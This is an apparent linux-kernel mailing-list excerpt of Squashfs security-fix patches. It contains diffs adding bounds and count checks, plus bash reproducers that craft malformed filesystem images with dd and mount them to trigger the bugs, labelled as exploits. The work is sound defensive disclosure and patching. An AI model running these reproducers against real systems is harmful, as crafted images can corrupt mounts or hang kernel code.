malicious inode for file \"data\" /usr/bin/echo -en "\x20\x80\x02\x00\xFF\x01\x00\x00\x00\x00\x00\x00\ \x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x0A\x00\x00\x00" > file dd bs=3D1 seek=3D1034 if=3Dfile of=3Dimg.sqsh count=3D34 conv=3Dnotrunc sta= tus=3Dnone # Write directory data which points to the malicious inode echo Writing root directory which points to malicious inode /usr/bin/echo -en "\x31\x80\x00\x00\x00\x00\x90\x03\x00\x00\x01\x00\x00\ \x00\x00\x00\x00\x00\x02\x00\x03\x00\x64\x61\x74\x61\x00\x00\x00\x00\ \x00\x00\x00\x00\x02\x00\x00\x00\xA0\x0C\x00\x00\x01\x00\x04\x00\x66\ \x69\x6c\x65\x73" > file dd bs=3D1 seek=3D983 if=3Dfile of=3Dimg.sqsh count=3D51 conv=3Dnotrunc stat= us=3Dnone # # Write root inode, this is the same as the original root inode, except # it is uncompressed, and it points to the new directory data echo Writing root inode which points to the new root directory /usr/bin/echo -en "\x20\x80\x01\x00\xFF\x01\x00\x00\x00\x00\x00\x00\ \x00\x00\x67\x00\x00\x00\x43\x02\x00\x00\x03\x00\x00\x00\x34\x00\x00\ \x00\x00\x00\x00\x00" > file dd bs=3D1 seek=3D949 if=3Dfile of=3Dimg.sqsh count=3D34 conv=3Dnotrunc stat= us=3Dnone # Update the root_inode field in the superblock to point to our new # root inode. The start block is an offset from the inode_table_start, # and not an absolute value. The start of the inode table is 122, the # new inode is placed at position 949, and so the offset is 827. Because # we've only stored one inode in the metadata block, the offset into # that block is 0. echo Updating the root_inode field in the superblock /usr/bin/echo -en "\x00\x00\x3B\x03" > file dd bs=3D1 seek=3D32 if=3Dfile of=3Dimg.sqsh count=3D4 conv=3Dnotrunc status= =3Dnone # Mount the filesystem to /mnt echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi # Stat /mnt/data, if the exploit is successful, permissions should be 0777 echo "*********************************************************************= ***" echo Stat /mnt/data, if the exploit is successful, permissions should be 07= 77 stat /mnt/data popd 2>&1> /dev/null rm -rf $DIR =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: c88da2c979369 ("Squashfs: directory lookup operations") Signed-off-by: Phillip Lougher --- v3: - Change definition of start from u64 to s64 in squashfs_lookup(). - Remove v2 check to ensure empty filesystems do not trigger new sanity checks. This is now dealt with in patch 8. v2: - Ensure dire is not used uninitialised. - Ensure empty filesystems do not trigger new sanity checks. --- fs/squashfs/dir.c | 19 +++++++++++++------ fs/squashfs/namei.c | 16 +++++++++++----- fs/squashfs/squashfs_fs_sb.h | 1 + fs/squashfs/squashfs_helpers.h | 16 ++++++++++++++++ fs/squashfs/super.c | 1 + 5 files changed, 42 insertions(+), 11 deletions(-) diff --git a/fs/squashfs/dir.c b/fs/squashfs/dir.c index 7bbdfa438a32..e961af7490dc 100644 --- a/fs/squashfs/dir.c +++ b/fs/squashfs/dir.c @@ -22,6 +22,7 @@ #include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" =20 static const unsigned char squashfs_filetype_table[] =3D { @@ -41,6 +42,7 @@ static int get_dir_index_using_offset(struct super_block = *sb, int i_count, u64 f_pos) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s64 res; int err, i, index, length =3D 0; unsigned int size; struct squashfs_dir_index dir_index; @@ -81,9 +83,12 @@ static int get_dir_index_using_offset(struct super_block= *sb, if (err < 0) break; =20 + res =3D squashfs_dir_start(le32_to_cpu(dir_index.start_block), msblk); + if (res < 0) + break; + length =3D index; - *next_block =3D le32_to_cpu(dir_index.start_block) + - msblk->directory_table; + *next_block =3D res; } =20 *next_offset =3D (length + *next_offset) % SQUASHFS_METADATA_SIZE; @@ -99,11 +104,11 @@ static int squashfs_readdir(struct file *file, struct = dir_context *ctx) { struct inode *inode =3D file_inode(file); struct squashfs_sb_info *msblk =3D inode->i_sb->s_fs_info; - u64 block; + s64 block; int offset, length, err; unsigned int inode_number, dir_count, size, type; struct squashfs_dir_header dirh; - struct squashfs_dir_entry *dire; + struct squashfs_dir_entry *dire =3D NULL; =20 TRACE("Entered squashfs_readdir [%llx:%x]\n", squashfs_i(inode)->start, squashfs_i(inode)->offset); @@ -141,15 +146,17 @@ static int squashfs_readdir(struct file *file, struct= dir_context *ctx) /* The directory is empty, nothing more to do */ goto finish; =20 + block =3D squashfs_dir_start(squashfs_i(inode)->start, msblk); + if (block < 0) + goto failed_read; + dire =3D kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); if (dire =3D=3D NULL) { ERROR("Failed to allocate squashfs_dir_entry\n"); goto finish; } =20 - block =3D squashfs_i(inode)->start + msblk->directory_table; offset =3D squashfs_i(inode)->offset; - length =3D get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset, diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c index c8009e0b2edd..40114813f51f 100644 --- a/fs/squashfs/namei.c +++ b/fs/squashfs/namei.c @@ -66,6 +66,7 @@ static int get_dir_index_using_name(struct super_block *s= b, int index_offset, int i_count, const char *name) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; + s64 res; int i, length =3D 0, err; unsigned int size; struct squashfs_dir_index *index; @@ -102,9 +103,12 @@ static int get_dir_index_using_name(struct super_block= *sb, if (strcmp(index->name, name) > 0) break; =20 + res =3D squashfs_dir_start(le32_to_cpu(index->start_block), msblk); + if (res < 0) + break; + length =3D le32_to_cpu(index->index); - *next_block =3D le32_to_cpu(index->start_block) + - msblk->directory_table; + *next_block =3D res; } =20 *next_offset =3D (length + *next_offset) % SQUASHFS_METADATA_SIZE; @@ -130,7 +134,7 @@ static struct dentry *squashfs_lookup(struct inode *dir= , struct dentry *dentry, struct squashfs_sb_info *msblk =3D dir->i_sb->s_fs_info; struct squashfs_dir_header dirh; struct squashfs_dir_entry *dire =3D NULL; - u64 block; + s64 block; int offset, err, length; unsigned int dir_count, size; =20 @@ -144,15 +148,17 @@ static struct dentry *squashfs_lookup(struct inode *d= ir, struct dentry *dentry, /* The directory is empty, and so there's nothing to do */ goto exit_lookup; =20 + block =3D squashfs_dir_start(squashfs_i(dir)->start, msblk); + if (block < 0) + goto data_error; + dire =3D kmalloc(sizeof(*dire) + SQUASHFS_NAME_LEN + 1, GFP_KERNEL); if (dire =3D=3D NULL) { ERROR("Failed to allocate squashfs_dir_entry\n"); return ERR_PTR(-ENOMEM); } =20 - block =3D squashfs_i(dir)->start + msblk->directory_table; offset =3D squashfs_i(dir)->offset; - length =3D get_dir_index_using_name(dir->i_sb, &block, &offset, squashfs_i(dir)->dir_idx_start, squashfs_i(dir)->dir_idx_offset, diff --git a/fs/squashfs/squashfs_fs_sb.h b/fs/squashfs/squashfs_fs_sb.h index b87221ea9bdd..949dab87a241 100644 --- a/fs/squashfs/squashfs_fs_sb.h +++ b/fs/squashfs/squashfs_fs_sb.h @@ -67,6 +67,7 @@ struct squashfs_sb_info { __le64 *inode_lookup_table; u64 inode_table; u64 directory_table; + u64 directory_table_end; u64 xattr_table; unsigned int block_size; unsigned short block_log; diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h index 662ebf464d3c..124ee18ed8c9 100644 --- a/fs/squashfs/squashfs_helpers.h +++ b/fs/squashfs/squashfs_helpers.h @@ -70,6 +70,22 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset) return ((s64)start << 16) | offset; } =20 +/* directory helper functions */ +static inline s64 squashfs_dir_start(u32 blk, struct squashfs_sb_info *msb= lk) +{ + s64 start; + + if (S64_MAX - msblk->directory_table < blk) + return -EINVAL; + + start =3D msblk->directory_table + blk; + + if (start >=3D msblk->directory_table_end) + return -EINVAL; + + return start; +} + /* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes(u32 fragments) { diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c index 0e511dd29d58..8c42f1eb375b 100644 --- a/fs/squashfs/super.c +++ b/fs/squashfs/super.c @@ -437,6 +437,7 @@ static int squashfs_fill_super(struct super_block *sb, = struct fs_context *fc) err =3D -EINVAL; goto insanity; } + msblk->directory_table_end =3D next_table; =20 /* Sanity check inode_table */ if (msblk->inode_table >=3D msblk->directory_table) { --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.42 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405432; b=OqNdhnIVOaxS9xmdtsyS16y1qadp1zNvCjxmdIa/pBuFQbQZ9x1OGqW6EnJ+9obwOsD3 uCf9TkdBLNyb1ufkp5oRBlwxpnx/66+glomCb4J+ajp/KNBzEVZyw9rA/25q5K4E7zrut GDyduANJiZbIltrM3fINIUt9rZIYttw+ZuOAXQbFesfQT310BRvXFWxS1C3uXcDK/gYgB XToLZdUf4OL+xTbGgfPkNtZFgfugPzJ3R0PB8TOlQsSCPmiN3BKet0jaswViC6nPinOEr lU3J9KKIjxwCZfFE2vek8cSy0L0giHrdCncTBF3guKvSzUg3uDpEhpPhSjMPPp8A18Q== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405432; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=2sUnQddV3Cyr9sEt+eqKFZ+ojVDZ43S7nF0jVf9L4ZA=; b=vTUrFyAgkclweM8awDEX/F6BZ41cy1zI9R1aKw51/OuUurNmxD2quxkWOG+kss97pt6T YDR7YEKb6k17/ZkioG1VbFpqMDzooXYemgDsbGhbyFJlSOu7O5IjB2RbEht6A+p4EVeYq s5MNiHlYiSoVfCqPUBt8jabAtPUVgS2UhPjrz2xEr7xYhjYwxHGWED3Mi0fm3e/5yK13a 9QbtBCAhNqhvSGlqMoEyZRlcEwJOea03cs7x8G8nlVJi1RiNE831Zb3LDvuOuPg+QfWhj 1euu0jr6G3oiVRcwBqjXYdyV1hSCq+SnuknKBccVfYAVh5MNVXUG1fjCypWUJl36+qw== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=jFelkP56; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=FyLatinC; arc=none smtp.remote-ip=188.121.53.42 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 433CE606A682 for ; Mon, 23 Nov 2026 03:43:51 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 433CE606A682 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=jFelkP56; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=FyLatinC Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKxzxiqRH; Mon, 23 Nov 2026 03:43:44 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405425; bh=2sUnQddV3Cyr9sEt+eqKFZ+ojVDZ43S7nF0jVf9L4ZA=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=jFelkP56ZTnW6erGRxam0iLMRrCMqf5Dx6BGbZwOqzxLg4TDjBEZvWM2UPc3TaN5i OJxmaMMN9imwS2CArPKseJbiL1ENxhyz+77o81MxFhabhV5B2BbWFzUY3RZtC8JkhR gu3i8TRwCsHZviR50r7cUtFVbkHA6g4ZTYXaWIj6CE0u0C5l9Ji/0tCrph7cE+fjEo EaNmkW4zFseMdk31YYUtoThctqaJLm+fXV0jyJ8q+ke+Z+beY2KnuEREcKlnOausOp DoDJJlxHgdO2NVvo51XXIdKe9X4X4lx7AnumBNQ/cZuj4ae6gAIjsQrLAYoZSsoOsl tXFBk8dSOLVGA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=squashfs.org.uk; s=secureserver1; t=1795405425; bh=2sUnQddV3Cyr9sEt+eqKFZ+ojVDZ43S7nF0jVf9L4ZA=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=FyLatinCFogOiuoyC1Hn4L8+WTHvGxl9k8YCgg7yITNziPmG6GLqTB7/nBx03xajN qXN+EdYoxFDhwIv9gyih85iwQPtxfC9xqe6IN1fcuPD+DBtPwYcLZP7KvM6E0HjJLh DDIuO6OOj3YIcabTsU4JBsw8ZSF0yPW0+R0TXUWZjGTGW1Tu2vXfpButhTrskXhPJH UhqQTs9tMaiPNQ56SbF0EVm2BqO++4OlI6UXa8ubZHoNJfn6MfsSb880qt7buPY2h7 3g0D/eGB0yV1OyprgjxnvYc5ClX1y8iuTEhq17Z2UDVzhVV4Ow8LM0mhBcqPvvBnzd xxYp/nEl7pu0w== X-CMAE-Analysis: v=2.4 cv=CvYq4X4D c=1 sm=1 tr=0 ts=6b03b670 a=84ok6UeoqCVsigPHarzEiQ==:117 a=84ok6UeoqCVsigPHarzEiQ==:17 a=FXvPX3liAAAA:8 a=ZOMSaLFJ8s2LZnWzWLIA:9 a=UObqyxdv-6Yh2QiB9mM_:22 Feedback-ID: e4e1f3d175e8a8f110cd14f52e35642c:squashfs.org.uk:ssnet X-SECURESERVER-ACCT: phillip@squashfs.org.uk From: Phillip Lougher To: akpm@linux-foundation.org, linux-kernel@vger.kernel.org Cc: Phillip Lougher Subject: [PATCH v3 13/23] Squashfs: widen xattr count variables and add sanity check Date: Mon, 23 Nov 2026 03:42:54 +0000 Message-ID: <20261123034304.261742-14-phillip@squashfs.org.uk> X-Mailer: git-send-email 2.47.3 In-Reply-To: <20261123034304.261742-1-phillip@squashfs.org.uk> References: <20261123034304.261742-1-phillip@squashfs.org.uk> X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-CMAE-Envelope: MS4xfK7b4sL5VqmBWJCQq97kupKFCM/x30FPqsGxnimWuvPS8BnEd2DInUsQFDzpX36gX98fzogT5FsIYAkJN7pTjRDxiYizrdWcHSKO2hwTGM+ZHaRRv48p qxgW1JitjVooj1+wcQ0Ym0gmlfS+O7PMY5vhrf0ONZTjPJzi+m6NQHJ9k5QmWAnN9Boc009h7g2loKx5WGXSQm7T7L0qNfftc2PkVaK0/V1VGUBxEVu0mFqc w7ujwIrDM1jwt1ho1CH5rl6Zo0dtGiZQ8zU3PBFPjJh/VUPYIuUGSHM8tXHxal4P Content-Type: text/plain; charset="utf-8" The maximum number of Xattrs in an inode is 2^32-1 in Squashfs. However the code incorrectly treats the count as signed, or 2^31-1. This means any value above 2^31-1 becomes a negative number, and it means loops will not terminate due to the negative comparison. This means the code will continue reading the filesystem until either the data is incorrect, or the end of the filesystem is reached. The code also lacks a check that the count is too large, which will again mean that the code will continue reading the filesystem. Finally, the code also lacks a check for a zero count, this means anything reading xattrs from the inode will successfully read no xattrs, even though this should have returned error due to corruption. This commit changes the variables to be unsigned, and so negative values do not occur, and it first adds a sanity check for a zero xattr count, and second checks that the count isn't larger than the xattr size. Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D This reproducer allows both zero, negative and large xattr count to be reproduced. In the case of a negative or large count, the exploit succeeds if dmesg shows the code failed to read a metadata block, due to the loop not terminating. In the case of a zero count, the exploit succeeds if gerfattr successfully returns with no xattrs. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #!/bin/bash finish() { popd 2>&1 > /dev/null rm -rf $DIR exit 1 } if [ $# -lt 1 ]; then echo This needs a parameter echo $0 N/0/L=20 echo N reproduce negative xattr count echo 0 reproduce 0 xattr count echo L reproduce a large count exit 1 fi if [ $1 =3D "N" ]; then echo Reproducing negative xattr count elif [ $1 =3D "0" ]; then echo Reproducing 0 xattr count elif [ $1 =3D "L" ]; then echo Reproducing large xattr count else echo Input not N, 0 or L exit 1 fi DIR=3D$(mktemp -d) pushd $DIR 2>&1 > /dev/null # Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs echo "/ d 0777 0 0" > pseudo echo "example f 0777 0 0 echo example data" >> pseudo echo "example x user.comment=3Dexample xattr" >> pseudo # Generate the Squashfs filesystem echo Generate the Squashfs filesystem mksquashfs - img.sqsh -pf pseudo -quiet -no-progress -noX # The xattr_id_table_start is at offset 56 in the superblock, 32-bit little= -endian. # For such a small filesystem, we only need to read the first two bytes. low=3D$(dd if=3Dimg.sqsh bs=3D1 skip=3D56 count=3D1 status=3Dnone | od -An = -v -tu1 | tr -d '\n') hi=3D$(dd if=3Dimg.sqsh bs=3D1 skip=3D57 count=3D1 status=3Dnone | od -An -= v -tu1 | tr -d '\n') start=3D$(( $hi * 256 + $low )) # The start of the single xattr id is 16 bytes before the xattr_id_table, a= nd the # count field is 8 bytes before (( start -=3D 8 )) if [ $1 =3D "N" ]; then # Write -1 to the count field echo Writing -1 to the count field echo -ne "\xff\xff\xff\xff" > file elif [ $1 =3D "0" ]; then # Write 0 to the count field echo Writing 0 to the count field echo -ne "\x00\x00\x00\x00" > file else # Write 255 to the count field echo Writing 255 to the count field echo -ne "\xff\x00\x00\x00" > file fi dd if=3Dfile of=3Dimg.sqsh bs=3D1 seek=3D$start count=3D4 conv=3Dnotrunc st= atus=3Dnone # Mount the filesystem to /mnt echo Mount the filesystem to /mnt if ! mount -t squashfs img.sqsh /mnt; then echo Mount of Squashfs filesystem failed finish fi if [ $1 =3D "0" ]; then if ! getfattr /mnt/example > output; then echo Exploit failed, getfattr returned error elif [ ! -s output ]; then echo Exploit succeeded, getfattr returned success with no xattrs else echo Getfattr succeeded with some xattrs. The filesystem was not corrupt= ed fi else if ! getfattr /mnt/example; then echo Getfattr failed, this is expected. echo If dmesg shows the following, then the exploit succeeded echo SQUASHFS error: Failed to read block 0x124: -5 echo SQUASHFS error: Unable to read metadata cache entry [122] else echo Getfattr succeeded with some xattrs. The filesystem was not corrupt= ed fi fi popd 2>&1 > /dev/null rm -rf $DIR exit 0 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Fixes: f41d207cbedec ("squashfs: add support for xattr reading") Signed-off-by: Phillip Lougher --- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_i.h | 2 +- fs/squashfs/xattr.c | 27 ++++++++++++++++++++------- fs/squashfs/xattr.h | 6 +++--- fs/squashfs/xattr_id.c | 3 ++- 5 files changed, 27 insertions(+), 13 deletions(-) diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c index 7c262be4a644..380714ac4d34 100644 --- a/fs/squashfs/inode.c +++ b/fs/squashfs/inode.c @@ -460,7 +460,7 @@ int squashfs_read_inode(struct inode *inode, long long = ino) inode->i_blocks +=3D ((squashfs_i(inode)->xattr_size - 1) >> 9) + 1; } else - squashfs_i(inode)->xattr_count =3D 0; + squashfs_i(inode)->xattr =3D SQUASHFS_INVALID_BLK; =20 return 0; =20 diff --git a/fs/squashfs/squashfs_fs_i.h b/fs/squashfs/squashfs_fs_i.h index 8e497ac07b9a..90c3b085ac0e 100644 --- a/fs/squashfs/squashfs_fs_i.h +++ b/fs/squashfs/squashfs_fs_i.h @@ -15,7 +15,7 @@ struct squashfs_inode_info { int offset; u64 xattr; unsigned int xattr_size; - int xattr_count; + unsigned int xattr_count; int parent; union { struct { diff --git a/fs/squashfs/xattr.c b/fs/squashfs/xattr.c index f9ef669544f8..d7247648ac35 100644 --- a/fs/squashfs/xattr.c +++ b/fs/squashfs/xattr.c @@ -33,13 +33,16 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buff= er, u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_table; int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); - int count =3D squashfs_i(inode)->xattr_count; + unsigned int count =3D squashfs_i(inode)->xattr_count; size_t rest =3D buffer_size; int err; =20 - /* check that the file system has xattrs */ - if (msblk->xattr_id_table =3D=3D NULL) - return -EOPNOTSUPP; + /* check that the file has xattrs */ + if (squashfs_i(inode)->xattr =3D=3D SQUASHFS_INVALID_BLK) + return 0; + + if (count =3D=3D 0 || count > squashfs_i(inode)->xattr_size) + return -EIO; =20 /* loop reading each xattr name */ while (count--) { @@ -111,12 +114,21 @@ static int squashfs_xattr_get(struct inode *inode, in= t name_index, u64 start =3D squashfs_xattr_blk(squashfs_i(inode)->xattr) + msblk->xattr_table; int offset =3D squashfs_xattr_offset(squashfs_i(inode)->xattr); - int count =3D squashfs_i(inode)->xattr_count; + unsigned int count =3D squashfs_i(inode)->xattr_count; int name_len =3D strlen(name); int err, vsize; - char *target =3D kmalloc(name_len, GFP_KERNEL); + char *target; + + /* check that the file has xattrs */ + if (squashfs_i(inode)->xattr =3D=3D SQUASHFS_INVALID_BLK) + return -ENODATA; + + if (count =3D=3D 0 || count > squashfs_i(inode)->xattr_size) + return -EIO; + + target =3D kmalloc(name_len, GFP_KERNEL); if (target =3D=3D NULL) - return -ENOMEM; + return -ENOMEM; =20 /* loop reading each xattr name */ for (; count; count--) { @@ -169,6 +181,7 @@ static int squashfs_xattr_get(struct inode *inode, int = name_index, goto failed; =20 vsize =3D le32_to_cpu(val.vsize); + if (buffer) { if (vsize > buffer_size) { err =3D -ERANGE; diff --git a/fs/squashfs/xattr.h b/fs/squashfs/xattr.h index f1a463d8bfa0..b33e9ad4057f 100644 --- a/fs/squashfs/xattr.h +++ b/fs/squashfs/xattr.h @@ -11,8 +11,8 @@ #ifdef CONFIG_SQUASHFS_XATTR extern __le64 *squashfs_read_xattr_id_table(struct super_block *, u64, u64 *, unsigned int *); -extern int squashfs_xattr_lookup(struct super_block *, unsigned int, int *, - unsigned int *, unsigned long long *); +extern int squashfs_xattr_lookup(struct super_block *, unsigned int, + unsigned int *, unsigned int *, unsigned long long *); #else static inline __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 start, u64 *xattr_table_start, unsigned int *xattr_ids) @@ -31,7 +31,7 @@ static inline __le64 *squashfs_read_xattr_id_table(struct= super_block *sb, } =20 static inline int squashfs_xattr_lookup(struct super_block *sb, - unsigned int index, int *count, unsigned int *size, + unsigned int index, unsigned int *count, unsigned int *size, unsigned long long *xattr) { return 0; diff --git a/fs/squashfs/xattr_id.c b/fs/squashfs/xattr_id.c index ff85247e2d80..621777e0a3b4 100644 --- a/fs/squashfs/xattr_id.c +++ b/fs/squashfs/xattr_id.c @@ -27,7 +27,8 @@ * Map xattr id using the xattr id look up table */ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index, - int *count, unsigned int *size, unsigned long long *xattr) + unsigned int *count, unsigned int *size, + unsigned long long *xattr) { struct squashfs_sb_info *msblk =3D sb->s_fs_info; int block =3D squashfs_xattr_block(index); --=20 2.47.3 From nobody Tue Nov 24 12:34:56 2026 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=188.121.53.37 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1795405433; b=tSzBPZ7NUSXTNJARKnsZGQivwy3K11O1o0o0UiIrNVH6ITGPO1zi7NTCiFPUAmb1gTue Hda6MS/EukrpJWpyrnfygBcHKMG7c+WpYnWMDPU8jur/rN4Ix4+fVJx/je5ufIm9lKtJf VqygWbIr0mNeQb/aK0HaSpy99/reSDrbWfmvZf8lrRmL9j5Hb0QyPBfvTlm73PuvVPUuw VIws0s70m9zeF39wnH5P178DRjymM9UmSgVfsAydRBaB4I2Rkxjc9DkMWaaZbH2q8BG7K tnsnK37HUaeUXk2SNk6WHqFkRUD0vi+25xdSoTtvErGjrv7FH9Kz9t63FM45qIjRAOQ== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1795405433; h=DMARC-Filter:Received:DKIM-Signature:DKIM-Signature:X-CMAE-Analysis: Feedback-ID:X-SECURESERVER-ACCT:From:To:Cc:Subject:Date:Message-ID: X-Mailer:In-Reply-To:References:MIME-Version: Content-Transfer-Encoding:X-CMAE-Envelope; bh=nVBJvnNNBA9UfwcZiioDspKZ+JOChrblhyKZ7l5Ep/Q=; b=krIauJS9elwjG9x4VqhTp2IZ1G0B17dROHxwidOhZteFJ8e4SbDHXmnq3tTA3rtJtEMK hF12kPiuyAEiI/4f6zo0pw/MDXhGgC51DdzmX+sy2mIc57p9e4vrcDeusMCyj1ye7DRUH dlROx+x/QdQNfXLGiuvVzUO61BIuWibAi/e7TyfK6ZbSkuWaX2CNuErAq358Z4ReXTgOV pKMSN7PnNBYhlXsIHzYKpnMEPmNP6AGpewA4XAujcWnEPCIPl2lthF6e30E3v9gWNkrG8 eDUzIuGXYnv6ZjgLbyLmVg+39u4iYoRZSZhwPculWFAIDgTU3Cm9y2yvk149L+VI6DA== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass header.from=squashfs.org.uk; spf=pass smtp.mailfrom=squashfs.org.uk; dkim=pass header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=QFN3qXIH; dkim=pass header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=js0kVweY; arc=none smtp.remote-ip=188.121.53.37 Received: from sxplsmtpa04-04.prod.sxb1.secureserver.net (sxplsmtpa04-04.prod.sxb1.secureserver.net [188.121.53.37]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 41871606A330 for ; Mon, 23 Nov 2026 03:43:52 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 41871606A330 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=reject dis=none) header.from=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=squashfs.org.uk Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key, unprotected) header.d=secureserver.net header.i=@secureserver.net header.a=rsa-sha256 header.s=secureserver2 header.b=QFN3qXIH; dkim=pass (2048-bit key, unprotected) header.d=squashfs.org.uk header.i=@squashfs.org.uk header.a=rsa-sha256 header.s=secureserver1 header.b=js0kVweY Received: from avalon.fritz.box ([82.69.79.175]) by :SMTPAUTH: with ESMTPA id VKxRxJoOeZuU3VKy1xiqRU; Mon, 23 Nov 2026 03:43:45 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=secureserver.net; s=secureserver2; t=1795405426; bh=nVBJvnNNBA9UfwcZiioDspKZ+JOChrblhyKZ7l5Ep/Q=; h=From:To:Cc:Subject:Date:In-Reply-To:References; b=QFN3qXIHynP0r74kyFXg4IH6LTz4pxJLlCCYH3ZKzbpJMCkQE+bu3OPI1xewRC/7W NETPzPXnU7psrOaO0/gwcHM9T23LEeqi31WEkMl05t+SnMG0BYpSD0D2HlHKo8Fwbz /pLb7CAaojAqH9NhQgBZMWgmrllPow8VHbNIpVb3J8ptUjumRxxjFBEHFjQBMBBdwV U7dcKXl2ZwmmOAkUyiLnHkIyVkaTij07L+GcYrjT2750cwiquOy0wWHD8wzmxTCGJR Xgi9jq9CCcaOVRnYxI1A387KKBj3jNAzjCXkOQqFIgrdLHoc03rtUANlxPrW2g7JRc 71noZ6L/C1zwA== 